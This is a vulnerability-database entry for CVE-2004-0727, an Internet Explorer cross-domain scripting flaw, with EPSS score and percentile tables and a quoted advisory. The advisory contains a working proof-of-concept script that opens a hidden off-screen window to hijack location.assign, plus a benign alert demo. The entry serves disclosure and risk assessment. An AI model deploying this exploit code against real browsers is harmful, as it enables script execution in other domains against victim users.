CVE-2004-0727 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	42.58%	–	–
2023-03-12	–	–	–	3.12%	–
2023-07-02	–	–	–	7.74%	–
2023-11-19	–	–	–	7.74%	–
2023-11-26	–	–	–	7.74%	–
2023-12-17	–	–	–	7.74%	–
2024-06-02	–	–	–	7.74%	–
2024-08-11	–	–	–	5.61%	–
2024-11-17	–	–	–	5.61%	–
2024-12-22	–	–	–	5.61%	–
2025-01-19	–	–	–	5.61%	–
2025-03-18	–	–	–	–	57.45%
2025-03-30	–	–	–	–	58.31%
2025-03-30	–	–	–	–	58.31,%

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Date	Percentile
2022-02-06	98%
2023-03-12	9%
2023-07-02	93%
2023-11-19	94%
2023-11-26	93%
2023-12-17	94%
2024-06-02	94%
2024-08-11	93%
2024-11-17	94%
2024-12-22	93%
2025-01-19	93%
2025-03-18	98%
2025-03-30	98%
2025-03-30	98%

source: https://www.securityfocus.com/bid/10689/info A vulnerability exists in Microsoft Internet Explorer that may allow cross-domain/cross-zone scripting. It is reported that the vulnerability presents itself due to a failure to properly validate trust relationships between method calls that are made in separate Internet Explorer windows. This may make it possible for script code to access properties of a foreign domain or Security Zone. Exploitation may permit execution of arbitrary code as the victim user. <script> //courtesy of Paul function govuln(){ var w=window.open("javascript:setInterval(function(){try{var tempvar=opener.location.href;}catch(e){location.assign('javascript:document.innerHTML=&quot;<title>Microsoft Corporation</title>0wned&quot;');window.close();}},100)","_blank","height=10,width=10,left=10000,top=10000"); w.location.assign=location.assign; location.href="http://www.microsoft.com"; } govuln() </script> The following example was provided: <script>; var var1=location.assign; alert("Assign function of the current window:\n"+var1); var w=window.open("about:blank","_blank"); var var2=w.location.assign; var w=alert("Assign function of the new window:\n"+var2); w.close(); </script>; This will reportedly generate two alerts describing the assign().